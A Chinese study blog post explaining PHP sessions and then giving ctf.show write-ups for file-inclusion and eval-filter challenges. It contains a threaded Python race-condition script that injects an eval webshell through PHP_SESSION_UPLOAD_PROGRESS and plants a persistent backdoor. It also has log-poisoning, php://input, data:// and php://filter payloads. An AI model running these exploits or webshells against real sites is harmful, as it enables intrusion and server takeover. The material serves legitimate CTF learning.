Session

HTTP 无状态性的核心问题

HTTP 协议本身 不会记住用户上一次的请求,每个请求都是独立的。例如:

  • 问题:用户登录后,跳转到其他页面时,服务器无法自动识别这是同一个用户。
  • Cookie 的局限性:虽然 Cookie 可以存储用户信息,但直接存储敏感数据在客户端(如用户ID)存在安全隐患,且可能被篡改。
  • 解决方案:开发者提出将敏感数据存储在服务器端,客户端仅保存一个随机生成的 ID(Session ID),通过这个 ID 关联服务器数据,解决了安全性和状态管理问题。

Session工作原理流程

  • 客户端访问网站
  • 服务器创建 SessionID
  • 通过 Cookie 发送给浏览器( Set-Cookie 字段)
  • 浏览器后续请求携带 SessionID
  • 服务器匹配 Session 数据
  • 读取/修改数据

流程解析(以 PHP 为例)

用户首次访问

  1. 请求到达服务器:用户访问网站(如 example.com)。
  2. 生成 Session ID:服务器检查请求中是否携带 Session ID。如果是新用户,服务器生成一个 唯一 Session ID(如 abc123),通常通过加密算法(如 PHP 默认使用 sha1)生成。
  3. 创建存储文件:服务器在指定目录(如 /tmp/)生成文件 sess_abc123(注意该文件无后缀名),用于存储该用户的 Session 数据(如用户名、购物车内容等)。
  4. 返回 Session ID:服务器通过 HTTP 响应头 将 Session ID 传递给浏览器。默认使用 Cookie(如 PHPSESSID=abc123),但也可通过 URL 参数传递(不推荐)。

用户后续请求

  1. 携带 Session ID:浏览器在后续请求中自动通过 Cookie 发送 Session ID (PHPSESSID=abc123)。
  2. 服务器读取数据:服务器收到请求后,通过 Session ID 找到对应的文件 sess_abc123,并将文件内容反序列化为 $_SESSION 数组。
    注:序列化 (Serialization):把程序中的对象(如变量、数据结构)转换为标准化格式(字符串/二进制流);反序列化 (Deserialization):将标准化格式的数据重新转换为程序可用的原始对象,恢复其结构和功能。
  3. 数据更新与保存:PHP 脚本执行过程中修改 $_SESSION 的数据,脚本结束时,服务器将 $_SESSION 的数据序列化后写回文件。

一些细节

Session 的创建

Session 的创建和管理是由后端编程语言或框架(应用服务器)实现,如:

  • Tomcat:Java Servlet 容器,运行 Java Web 应用。
  • uWSGI:Python 应用服务器,配合 Django/Flask 使用。
  • Node.js:本身不是应用服务器,但 Express、Koa 等框架提供类似功能。
  • PHP-FPM:专为 PHP 设计的进程管理器,与 Nginx/Apache 配合使用。

服务器端数据存储

  • 默认存储方式:文件存储(每个 Session ID 对应一个文件,如 sess_abc123)。
  • 存储路径:通过 php.inisession.save_path 配置(如 /tmp/)。
  • 序列化格式:数据以键值对形式序列化存储(如 username|s:4:"Lucy";)。
  • 其他存储方式:可自定义存储到数据库、Redis 等。

Session 的生命周期

Session 数据在会话期间(持续操作 Session 时)持续有效,也可通过 session_destroy() 或配置的过期时间( php.ini 中的 session.gc_maxlifetime 配置项)自动清理。若用户在一定时间内没有对服务器进行任何与该 Session 相关的操作(如关闭浏览器),服务器就会认为会话已结束,从而使 Session 失效。
有些应用可能会采用持久化 Session 的方式,将 Session 数据存储在数据库或其他持久化存储介质中。这样即使关闭浏览器,下次打开浏览器访问该网站时,只要在一定的有效期内,仍然可以恢复之前的 Session 状态。(“记住我”功能)

PHP 中的 Session

$_SESSION 数组

与其他超全局变量(如 $_GET$_POST$_COOKIE)不同,$_SESSION 的内容并非直接来自客户端的输入,而是存储在服务器端

当用户首次访问时,PHP 会生成一个唯一的 Session ID,并发送到客户端。后续请求中,客户端携带 Session ID(如通过 Cookie 或 URL),服务器根据该 ID 找到对应的 Session 数据并加载到 $_SESSION 数组中。

Session 工作流程

初始化会话

1
session_start(); // 开启会话,读取或创建 Session ID

当调用 session_start() 时,PHP 会执行以下操作:

  • 检查客户端是否携带有效的 Session ID
    • 如果客户端通过 Cookie 或 URL 传递了有效的 Session ID( Cookie 中默认为 PHPSESSID),PHP 会尝试读取对应的 Session 文件。
    • 如果未找到有效的 Session ID,PHP 会生成一个新的 Session ID,并创建一个新的 Session 文件(通常为空文件,路径由 session.save_path 配置决定)。新的 Session ID 会通过 HTTP 响应头( Cookie 或 URL )将 Session ID 传递给浏览器。
  • **加载数据到 $_SESSION**:
    • 如果 Session 文件中有数据,PHP 会将其反序列化并加载到 $_SESSION 数组中。
    • 如果是一个新会话,$_SESSION 数组初始化为空。

操作 Session 数据

1
2
$_SESSION['username'] = 'Alice'; // 写入数据
echo $_SESSION['username']; // 读取数据
  • **修改 $_SESSION**:
    • 开发者可以在脚本中直接操作 $_SESSION 数组(如 $_SESSION['key'] = 'value')。
    • 此时所有修改仅保存在内存中的 $_SESSION 数组里,尚未写入 Session 文件
  • 自动提交
    • PHP 会在脚本执行结束时(或调用 session_write_close() 时),将 $_SESSION 数组的内容序列化,并写入到 Session 文件中。(默认情况下,Session 文件会被加锁。如果脚本执行时间过长,其他请求访问同一 Session 会被阻塞。可通过 session_write_close() 提前释放锁。)
    • 写入完成后,Session 文件会更新为最新的数据。

**销毁 Session **

1
session_destroy(); // 删除服务器端 Session 数据

可通过 session_destroy() 或配置的过期时间( session.gc_maxlifetime 配置项)来销毁 Session 。

PHP Session 文件的储存路径

1
2
3
4
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

Session 的常用配置项

  • session.save_path:Session文件存储路径(默认 /tmp)。
  • session.name:Session Cookie的名称(默认 PHPSESSID)。
  • session.cookie_lifetime:Session ID的存活时间(秒,0表示浏览器关闭后失效)。
  • session.gc_maxlifetime:Session数据过期时间(默认1440秒,24分钟)。

条件竞争漏洞与 Session 的文件上传进度追踪功能

ctf.show Web 82

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

这是一道漫长的题目,在解题之前,我们先了解一些东西:

条件竞争漏洞原理与实例

技术原理:在程序运行中,开发者一般希望代码按顺序一条一条执行。但在多线程或多进程的环境下,服务器会并发处理多个请求。如果没有使用合适的同步机制(像锁,它能保证同一时间只有一个线程能访问某个资源 ),这些并发的线程就可能同时操作共享资源,导致结果不可预测。比如两个线程同时读取一个变量的值,然后都对这个值进行修改再写回去,最后保存的值可能不是预期的,因为它们互相干扰了。

以文件上传为例: 有些网站允许用户上传文件,服务器会先检查文件是否符合要求(比如只允许上传图片格式文件 ),如果不符合就删除。在检查和删除之间有个时间差,这就是 “竞争窗口” 。攻击者可以利用这个时间差,快速多次发送上传恶意文件(比如包含恶意代码的 PHP 文件 )的请求。因为服务器在同一时刻可能处理不过来这么多请求,在还没来得及删除不符合要求的文件时,攻击者就可能成功访问到这个恶意文件并让它执行,进而在服务器上植入后门,获取对服务器的控制。类似于DDOS攻击,当请求发送得太多,服务器可能会漏掉一些恶意文件的上传请求,从而导致恶意文件被发送在服务器中造成后门漏洞。
(以上两段摘自www.th-dedsec.top《条件竞争漏洞》2025.04.07)

PHP_SESSION_UPLOAD_PROGRESS 是什么?

PHP_SESSION_UPLOAD_PROGRESS 是 PHP 提供的一个机制,用于实时跟踪文件上传的进度。比如上传一个大文件时,你可以用它获取当前上传的百分比、速度、剩余时间等信息。

工作原理

  • session.upload_progress.enabled 配置项开启时,PHP 脚本在运行过程中一旦检测到表单里存在 name="PHP_SESSION_UPLOAD_PROGRESS" 的字段,就会开启文件上传进度跟踪功能。
  • 此时,当用户上传文件,PHP 会在会话(Session)中生成一个数组,记录该脚本里所有文件上传操作的数据(见下方演示进度信息的数组)。
  • 需要通过其他方式(如 AJAX 轮询)读取这个会话数据,实时显示进度条给用户。

配置要求

1
2
3
4
5
session.upload_progress.enabled = On    ; 启用上传进度跟踪
session.upload_progress.cleanup = On ; 上传完成后自动清理进度数据
session.upload_progress.prefix = "upload_progress_" ; 会成为隐藏字段的value的值在session文件中的前缀,如'upload_progress_my_upload'
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS" ; 隐藏字段的名称
session.upload_progress.freq = "1%" ; 每上传1%或1KB更新进度(可设置为百分比或字节,如 1024)

基本使用步骤

  • 表单设置
    在文件上传表单中,必须添加一个名为 PHP_SESSION_UPLOAD_PROGRESS (具体名称由上面提到的配置项 session.upload_progress.name 确定)的隐藏字段:

    1
    2
    3
    4
    5
    6
    <form action="upload.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="my_upload" />
    <input type="file" name="file" />
    <!-- Tips: type="file"时会自动弹出文件选择框,不需要手动设置value -->
    <input type="submit" value="上传" />
    </form>

    只有检测到表单里存在 name="PHP_SESSION_UPLOAD_PROGRESS" 的字段,才会跟踪文件上传进度并写入 Session 中。

  • 读取进度
    通过 AJAX 或其他方式,从前端定期请求一个 PHP 脚本,读取会话中的进度信息(此部分仅作了解,不作演示)。

Session 中的进度信息

会话中的进度信息是一个数组,键为 'upload_progress_my_upload' (具体由 session.upload_progress.prefix 配置项与表单隐藏字段中的 value 拼接而成)包含以下关键字段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$_SESSION['upload_progress_my_upload'] = [
"start_time" => 1234567890, // 开始时间戳
"content_length" => 1024000, // 文件总大小(字节)
"bytes_processed" => 512000, // 已上传字节
"done" => false // 是否完成
// 包含每个上传文件详细信息的数组
"files" => [
[
'name' => 'example.jpg', // 文件名
'type' => 'image/jpeg', // 文件类型
'tmp_name' => '/tmp/php5678', // 临时文件名
'error' => 0, // 上传错误码
'size' => 1048576 // 文件大小(字节)
]
]
];

知识了解完了,让我们把目光转向题目:

题目解析

1
2
3
4
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);

这里的关键点是 $file = str_replace(".", "???", $file); ,文件名中的.会被替换,所以找文件名不包含.的文件: Session 文件。

已知 Session 文件的名字一般是sess_xxx的形式,那如何知道名字的后半部分呢?其实可以从响应头的 Set-Cookie 或请求头的 Cookie 字段中得到,例如:PHPSESSID=abc123,便得到了名字的后半部分abc123。(详见我之前写的关于 Session 的文章)

如果响应头中没有关于 Session 的内容,那么可以尝试自定义 SessionID 。部分服务器校验机制不可靠,不校验客户端发送的 SessionID 是否由服务端生成。由于服务端没有对应的 Session 文件,所以会生成与客户端自定义 SessionID 对应名字的 Session 文件,从而给攻击者可乘之机。

Burp Suite 解法

操作不方便,不建议。

Python requests 解法

此处借用大佬 Dedsec 的脚本,改了点功能,加了点注释:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests
import threading
import io

url = "http://cfeaa93b-4ae8-42b1-bbb3-fcccd32fe6f7.challenge.ctf.show/" # 靶场URL
session_id = "mmk" # 靶场安全机制不可靠,如果有来自客户端的不存在的 session ID 对应的 session 文件,会创建相应的文件
data_session = {"PHP_SESSION_UPLOAD_PROGRESS":"<?php @eval($_POST[1]);?>"} # 将要写入 session 的 payload,使 session 文件被包含时执行 $_POST[1]
data_shell = {"1": "file_put_contents('/var/www/html/486.php','<?php @eval($_GET[cmd]);?>');"} # 执行 read 函数时植入后门 486.php,该文件会执行 $_GET[cmd]
cookies = {"PHPSESSID": session_id}
fileBytes = io.BytesIO(b'a'*1024*1024*10) # 文件大小要足够大,多点上传时间,为读取到 session 文件创造机会
files = {'file': ('gbc.png', fileBytes)}
exit_event = threading.Event() # 定义全局事件,用于结束线程

def write(session):
while not exit_event.is_set():
session.post(url, # 上传文件,并利用 "PHP_SESSION_UPLOAD_PROGRESS" 字段写入 payload
data= data_session,
cookies=cookies,
files=files)

def read(session):
while not exit_event.is_set():
session.post(url+"?file=/tmp/sess_"+session_id, # 包含 session 文件,植入后门
data= data_shell,
cookies=cookies)
response = session.get(url + "486.php") # 检测后门是否植入成功
if response.status_code == 200:
print("awa 486 desu!\n")
exit_event.set() # 植入后门成功,结束线程
else:
print(f"状态码:{response.status_code}\n")

def execute(session): # 最后查看目录内容,以便手动选择要查看的文件
response = session.get(url + "486.php?cmd=system('ls');") # 注意之前的 url 变量末尾是否有 "/"
print(response.text)

def main():
with requests.session() as session:
for _ in range(10):
threading.Thread(target=write, args=(session,)).start()
for _ in range(10):
threading.Thread(target=read, args=(session,)).start()

# threading.Thread(): 创建一个新的线程对象
# target=read: 指定线程要执行的函数是 read
# args=(session,): 传递给 read 函数的参数,这里是一个元组,包含 session 变量(注意:(session,) 中的逗号是必须的,表示这是一个单元素元组)
# .start(): 启动线程,使其开始执行目标函数

exit_event.wait() # 让当前线程阻塞,直到 exit_event 这个事件对象的内部标志被设置为 True
execute(session)

if __name__ == '__main__': # 此处指作为脚本执行时会调用 main() 函数,作为模块引入时不会
main()

(以上代码摘自www.th-dedsec.top《条件竞争漏洞》2025.04.07)

最后根据文件目录的内容,在 URL 中手动构造 Payload 给 486.php 文件传参即可获得 flag 。

为什么要植入后门?

Session 文件里的文件上传数据不会自动删除,但为了防止服务端后续有删除 session 文件里的 "PHP_SESSION_UPLOAD_PROGRESS":"<?php @eval($_POST[1]);?>" 等数据的操作,需要一个长期存在的后门完成下一步。

requests.session() 做什么用?

其实在这里没什么用,因为网站没有返回可供它管理的 Cookie ,详见我写的关于 requests 库的文章。

全过程流程

  • 向 Session 文件中写入 Payload。

  • 向网站传参(既通过 URL 传参给 $_GET[] 数组,也通过 POST 传参给 $_POST[] 数组),包含 Session 文件并植入后门。

  • 访问后门文件,通过 URL 传参执行 ls 命令,查看目录内容。

  • 手动构造 Payload 查看 flag 文件。

终于轮到了日志注入

久仰日志注入大名,今天来分析分析。

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

冒号被过滤,不能用伪协议了。直接上日志注入。

先抓包看看响应头 server: 字段,确定是什么服务器软件。(浏览器 F12 也自带查看响应头的工具)

我抓出来是 server: nginx/1.20.1 ,服务器为 nginx。上网查资料,nginx 日志文件位置为: /var/log/nginx/access.log ,一会儿要用。

大多数 Web 服务器日志会记录以下信息:

  • 时间戳:请求发生的日期和时间。
  • 客户端IP:访问者的IP地址。
  • 请求方法:如 GETPOSTPUT 等。
  • 请求路径:访问的URL或文件路径(如 /index.html)。
  • HTTP状态码:如 200(成功)、404(未找到)、500(服务器错误)。
  • User-Agent:客户端浏览器或设备信息(可能包含攻击载荷)。
  • Referer:用户从哪个页面跳转而来(可能泄露敏感URL)。
  • 请求参数:GET/POST参数(可能记录敏感数据,如密码、令牌等)。

也就是说可以在请求报文中修改部分信息,插入 PHP 代码,再包含日志文件(前面讲过只有 PHP 代码会被解析,文本会直接返回前端),以达到执行我们需要的命令的目的。

试试看:

第一次发包修改请求体为:

1
file=<?php system('ls') ?>

第二次发包修改请求行:

1
GET /?file=/var/log/nginx/access.log HTTP/1.1

得到了一大堆日志文本,并没有 flag ,原来是日志文件里没有记录请求体,emmmmmm……

但日志文件里记录了请求头,再来一次!

第一次发包修改请求头User-Agent为:

1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36<?php system('ls') ?>

在一堆日志的最后找到了 fl0g.php index.php ,总算是成了。

接下来只需要查看文件 fl0g.php 的内容就好,OK。(PS:一大堆日志有点瞎眼,flag 难找)

PHP 伪协议之 php://input

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}

此处可大写绕过与 php://input 相结合。

URL:

1
/?file=Php://input

请求体:

1
2
3
<?php system("ls");?>//第一次请求

<?php system("tac fla*");?>//第二次请求

借此讲讲 php://input 怎么用。

php://input 是一个 PHP 内置的伪协议,用于读取 HTTP 请求中的原始数据

从超级全局变量 $_POST 数组读取的是处理过的、作为一个个元素的参数。当需要读取 POST 原始数据时,通常就会用到 php://input 伪协议来读取请求体。因为是直接读取请求体,所以 HTTP method 不是 POST 也能读取

所以,我们可以发送请求时抓包,然后修改请求体为 Payload ,并把 URL 中将要被文件包含的参数的值改为 php://input ,最后发包看看响应的效果。

大小写绕过

PHP 中有许多不用考虑大小写的地方,如:

  • PHP 标签<?php
    一般情况下必须严格小写,但某些服务器配置可能支持大写如 <?Php 这样的写法。目前做的做题能用。

  • 伪协议名称
    php://data://等伪协议名称可以大小写混用,但目前做的题只有php://不用考虑大小写,data://大小写混用或是全大写就无法正常文件包含。所以现在大小写混用**只考虑php://**。

  • 关键字和控制结构
    ifelsewhileforechoreturn 等。例如,IF (...) {...}ECHO "Hello"; 是合法的。

  • 函数名(用户定义和内置)
    用户定义的函数和PHP内置函数在调用时不区分大小写。例如:

    1
    2
    3
    function myFunc() {}
    myfunc(); // 可调用
    STRTOLOWER("ABC"); // 等同于 strtolower()
  • 类名和方法名
    用户定义的类名和方法名在引用时不区分大小写。例如:

    1
    2
    3
    4
    5
    6
    class MyClass {}
    $obj = new MYCLASS(); // 可实例化
    class MyClass {
    public function myMethod() {}
    }
    $obj->MYMETHOD(); // 可调用
  • 常量(通过 define 定义且启用大小写不敏感时)
    使用 define("NAME", value, true) 定义的常量,第三个参数为 true 时大小写不敏感。例如:

    1
    2
    define("GREETING", "Hello", true);
    echo greeting; // 输出 "Hello"

对大小写敏感的部分

  • 变量名(如 $var$VAR 不同)。
  • 属性名和常量(默认情况下)。
  • 魔术常量(如 __FILE____LINE__)和魔术方法(如 __construct(),需严格拼写)。
  • 预定义变量(如 $_GET$_POST)。

可以活用于一些题,可惜知道的有点晚。

多层函数绕过过滤

题目

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

不要被 \(|\) 吓住了,过滤的是中文括号。

直接看 payload 吧:

Payload1

1
?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

解析

  1. localeconv()
    返回包含本地化数字和货币格式信息的关联数组(有关各种货币相关符号与货币数据格式,有兴趣可自行找资料看看,本处只涉及小数点),**该数组的第一个元素通常是小数点.**(如['.', ...]),被我们借来表示当前目录。

  2. pos()
    **别名current()**,返回数组内部指针当前位置的值。PHP数组有一个隐藏的 “内部指针”初始指向第一个元素。此处指向 localeconv() 生成数组中的第一个元素 . ,用于表示当前目录( Linux 知识点)。

  3. scandir('.')
    扫描当前目录,返回按升序排列的文件列表,例如:['.', '..', 'flag.php', 'index.php']

  4. array_reverse()
    反转数组顺序,得到:['index.php', 'flag.php', '..', '.']

  5. next()
    将数组内部指针从第一个元素(index.php)后移一位,返回第二个元素flag.php
    关于数组指针操作函数,参考以下表格。
    数组指针操作函数返回值规则

    函数 是否移动指针 返回值
    current() / pos() 当前指针位置的值(越界返回 false
    next() 是(后移) 新位置的值(越界返回 false
    prev() 是(前移) 新位置的值(越界返回 false
    reset() 是(重置) 数组第一个元素(空数组返回 false
    end() 是(跳末) 数组最后一个元素(空数组返回 false
    key() 当前指针位置的键名(越界返回 null
  6. highlight_file('flag.php')
    高亮显示flag.php的源码,直接输出文件内容。

最终 flag.php 回显到前端。若输出的不是 flag.php 文件的内容,可能需要自行移动指针位置来找找。

Payload2

1
?c=eval(next(reset(get_defined_vars())));&pay=system("tac flag.php"); 

解析

get_defined_vars():返回当前作用域中所有变量的数组,包括超全局变量(如$_GET)。
超全局变量(如 $_GET$_POST$_SERVER 等)默认位于返回数组的最前端。它们会以固定的顺序排列,但具体顺序由 PHP 内核决定,第一个通常是 $_GET
用户定义的变量(如 $a = 1;)会紧随超全局变量之后。它们的排列顺序通常与代码中的定义顺序一致,但某些情况下可能受 PHP 优化影响(例如变量未使用时可能被忽略)。

其他数组指针操作函数参考上面的表格。于是得到层叠函数执行的过程:

get_defined_vars() 函数返回变量数组;

reset() 函数操作变量数组,返回第一个元素 $_GET ;(由于数组内部指针初始指向第一个元素,所以此处也可以用 pos()/current()

next() 函数操作 $_GET 数组, $_GET 数组的元素顺序按照 URL 中参数顺序排列,所以返回 $_GET 数组中第二个参数 pay 的值;

最后 eval() 函数会执行 pay 的值 system("tac flag.php");

data:// 伪协议

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

与前面的题相比,没有了 eval() 函数,但可通过 data:// 伪协议解决。

什么是 data:// 伪协议:

data:// 伪协议允许直接在 URI 中嵌入数据(如文本或 Base64 编码的内容),常用于动态生成数据流。

tips

URI 统一资源标识符,URI 包括 URL 和 URN,或其他特殊形式,比如此处的 data:// 伪协议。URL 通过协议、位置等标识资源;URN 仅通过名称标识资源。

人话:data:// 伪协议相当于在 data:// 后写入数据, data:// 及其后的数据会被当作文件处理。

看看实例就明白了:

1
2
3
$uri = 'data://text/plain;base64,SGVsbG8gV29ybGQh'
$data = file_get_contents($uri);
echo $data;
1
data://<MIME类型>[;charset=<编码>][;base64],<数据>
  • 核心参数:MIME类型、charset(可选)、base64(可选)、数据内容。

  • 分隔符:用分号 ; 分隔参数,逗号 , 分隔参数和数据。

  • 参数选项

    • MIME类型:指定数据的媒体类型(Multipurpose Internet Mail Extensions)。常见的MIME类型有:

      类型 示例值 说明
      文本类 text/plain 纯文本(默认值,可省略但建议显式声明)
      text/html HTML 内容
      text/css CSS 样式表
      text/javascript JavaScript 代码
      图像类 image/png PNG 图片
      image/jpeg JPEG 图片
      image/gif GIF 图片
      应用类 application/json JSON 数据
      application/xml XML 数据
      application/pdf PDF 文档
      其他 audio/mpeg MP3 音频
      video/mp4 MP4 视频
    • charset(字符编码):指定数据的字符编码(仅对文本类 MIME 类型有效)。如UTF-8 与 GBK。

    • base64:声明数据部分使用 Base64 编码(显而易见非文本类数据必须使用)。(可用于绕过过滤)

      适用场景

      • 数据包含特殊字符(如 , ; \n)。
      • 二进制数据(如图片、音频)。
    • 数据部分:实际内容,可以是明文或 Base64 编码的字符串。未启用 Base64 编码,数据按明文处理时,需对特殊字符(,/;/%)进行 URL 编码(本身作为参数、数据的分隔符)。

本题解析

1
?c=data://text/plain,<?php system("tac fla*.php")?>

就是让 data://text/plain,<?php system("tac fla*.php")?> 作为被包含的文件,它将会因为 <?php 被识别为 PHP 文件,被解析并执行。于是$flag 被赋值并回显,OK。

变体

  • 将正则表达式修改为 "/flag|php|file/i"<?php ?> 没法用,但可用短标签 <? ?> 、**短输出标签 <?= ?>**或者 Base64 编码绕过。( <? ?> 就是简化版的 <?php ?><?= ?> 用于直接输出内容,如 <?= "Hello" ?> 等价于 <?php echo "Hello"; ?> 。此外 <? ?> 仅在 PHP 配置文件 php.inishort_open_tag 选项设置为 On 时有效;<?= ?> 则无需配置即生效)

  • 将文件包含改为 include($c.".php"); 的情况(往data://数据的最后拼接了.php)。其实只有 <?php ?> 中的内容会被解析,文件中 PHP 代码以外的文本会直接回显到网页(例如,此处如果$c要执行的命令无任何返回值,则网页上只会出现.php,因为.php在 PHP 代码以外)

文件包含与 php:// 伪协议

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

大量过滤,无法使用空格、分号、单引号和括号。

所以利用文件包含漏洞, payload 如下:

1
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
  • include :文件包含标识符。

在 PHP 中常用的文件包含语句有以下四种:

  • include()

    找不到被包含的文件时只会产生警告,脚本将继续运行。

  • include_once()

    include() 类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

  • require()

    找不到被包含的文件时会产生致命错误,并停止脚本运行。

  • require_once()

    require() 类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

当以上 四种函数 参数可控的情况下,我们需要知道以下两点特性,

  • 若文件内容符合 PHP 语法规范(例如有 <?php ),包含时不管扩展名是什么都会被 PHP 解析。
  • 若文件内容不符合 PHP 语法规范则可能暴漏其源码。
  • 为什么是 include$_GET[1]

    include() 不是函数,可以用括号也可以加空格:

    1
    2
    include($_GET[1])
    include $_GET[1]

    另外, PHP 解释器会把 include$_GET[1] 中的 $_GET[1] 解析为变量而不会因为无空格就报错。

  • ?> 是干什么的?

    因为分号被过滤了,语句不完整会报错无法执行,所以要找分号的代替品。 ?> 前的代码会被解析为 PHP 的最后一句代码,不用加分号也不会报错。此外,eval() 函数不是把 PHP 语句“插入”到代码中再执行,所以这里不会出现 ?> 把后面的代码全部截断的问题。

  • 为什么不直接写文件路径 ./flag.php 而是写一长串 php:// 开头的东西?

    文件包含时:

    • 若文件内容包含有效的PHP标签(如<?php开头),PHP会解析并执行标签内的代码,标签外的文本会直接输出。
      • PHP 解析器从 <?php 开始解析代码,直到遇到 ?>文件末尾
      • 如果文件末尾没有 ?>,解析器会直接执行到文件结束,不会报错,且所有代码均有效。
    • 若文件内容没有PHP标签,PHP会将其视为纯文本或HTML,直接输出内容到前端

    剧透一下 flag.php 文件,这个文件有<?php开头,语法也正确,所以会被解析为 PHP 文件。但文件内只有一个变量的定义,没有任何输出,所以直接访问该文件不会回显内容。

  • php://filter/convert.base64-encode/resource=flag.php 是什么?

    PHP 的 php:// 伪协议(PHP Wrapper Protocols)是一种用于访问输入/输出流(I/O Streams)和内存资源的特殊协议。它允许开发者通过文件系统函数(如 file_get_contents()file_put_contents()fopen() 等)直接操作数据流,而无需真实的物理文件。

    像这样的文件包含协议还有file://data://等等。后面会详细展开。

    简单说说 php:// 伪协议的几种用法(此处不细讲):

    • php://input :读取原始的 HTTP 请求体数据(如 POST 数据)。

    • php://output :直接向输出缓冲区写入数据。

    • php://stdinphp://stdoutphp://stderr :访问标准输入、输出和错误流(常用于命令行脚本)。

    • php://filter :对数据流应用过滤器(如编码转换、压缩)。(本题所用方法)

    • php://tempphp://memory :临时存储数据到内存或临时文件。

    • php://fd :直接访问文件描述符(File Descriptor)。

    本题所用的 php://filter 与其说是“过滤器”,不如说是“转换器”,即读/写时转换目标资源内容的编码、格式等。先看看基本语法:

    1
    php://filter/[操作]/[过滤器链]/resource=[目标资源]
    • 操作read(读取时过滤)、write(写入时过滤)或空(默认同时应用读写)。
    • 过滤器链:多个过滤器用 | 分隔,按顺序执行(无过滤器会输出原始文件)。
    • 目标资源:可以是文件路径、URL 或其他伪协议(如 php://input)。

    关于过滤器链,PHP 内置了多种过滤器,分为几类:

    • 字符串处理

      • string.rot13:对字符串进行 ROT13 编码(把英文字母按字母表往后推 13 位,因为字母表有 26 位,所以加解密可以用同一套算法)。

      • string.toupper / string.tolower:转大写/小写。

      • string.strip_tags:去除 HTML/PHP 标签。

    • 编码转换

      • convert.base64-encode / convert.base64-decode:Base64 编解码。
      • convert.quoted-printable-encode / convert.quoted-printable-decode:QP 编解码。
      • convert.iconv.*:字符集转换(需安装 iconv 扩展)。
    • 压缩处理

      • zlib.deflate / zlib.inflate:使用 Zlib 压缩/解压。
      • bzip2.compress / bzip2.decompress:Bzip2 压缩/解压。
    • 加密

      • mcrypt.* / mdecrypt.*:加密解密(已废弃,不建议使用)。

    所以本题是通过 convert.base64-encode 把会被解析成 PHP 文件、无回显的 flag.php 转换为 Base64 编码然后输出,绕过了 PHP 文件的解析。

    Base64 解码得(已删去注释):

    1
    2
    <?php
    $flag="ctfshow{ead582c0-8247-4aa9-a2fa-abc1bb47c29d}";

    <?php开头且语法正确,但作用仅仅是定义了一个变量$flag,所以直接包含该文件会解析为 PHP 文件且无回显。转换为 Base64 编码,则被识别为文本文件,直接回显内容。

关于服务器的知识(持续增加)

访问的是 PHP 文件,为什么前端得到的是 HTML 文件

Web 服务器收到客户端浏览器发来的请求后,会检查储存在服务器上的对应文件类型。

若发现文件是静态文件.html/.css/.js ),则直接将文件返回给浏览器;

如果有动态内容(如 .php ),则发送给处理对应内容的插件应用服务器生成内容,然后将内容返回给浏览器(如将请求转发给 PHP-FPM, PHP-FPM 返回处理结果后,将处理结果返回给浏览器)。

若 Web 服务器未安装生成对应动态内容的插件或模块,或未正确进行配置,则无法正常返回网页(如 Nginx 或 Apache 在没有配置 PHP 支持时,会对 .php 请求返回 403 Forbidden404 Not Found ,甚至直接显示PHP源代码)。

如果 Web 服务器识别不了文件(如 .txt/.exe 等),则会直接把文件不作处理发给客户端,呈现在用户面前的就是该文件加入浏览器的“下载”列表。

常见 Web 服务器软件日志路径

服务器软件 访问日志路径(默认) 错误日志路径(默认)
Apache /var/log/apache2/access.log (Linux) /var/log/apache2/error.log
C:\Apache24\logs\access.log (Windows) C:\Apache24\logs\error.log
Nginx /var/log/nginx/access.log (Linux) /var/log/nginx/error.log
C:\nginx\logs\access.log (Windows) C:\nginx\logs\error.log
IIS %SystemDrive%\inetpub\logs\LogFiles\ 同目录下按站点分级的错误日志

常见服务器类型以及例子

1. Web 服务器(Web Server)

作用

托管网站或 Web 应用程序,接收客户端(如浏览器)的 HTTP/HTTPS 请求,返回 HTML 页面、图片、视频等静态或动态内容。

工作机制

  • 静态内容:直接返回服务器上存储的文件(如 HTML、CSS、图片)。
  • 动态内容:与后端应用服务器(如 Tomcat)协作,通过 CGI、FastCGI 或反向代理将请求转发给后端处理,再返回结果。

常见例子

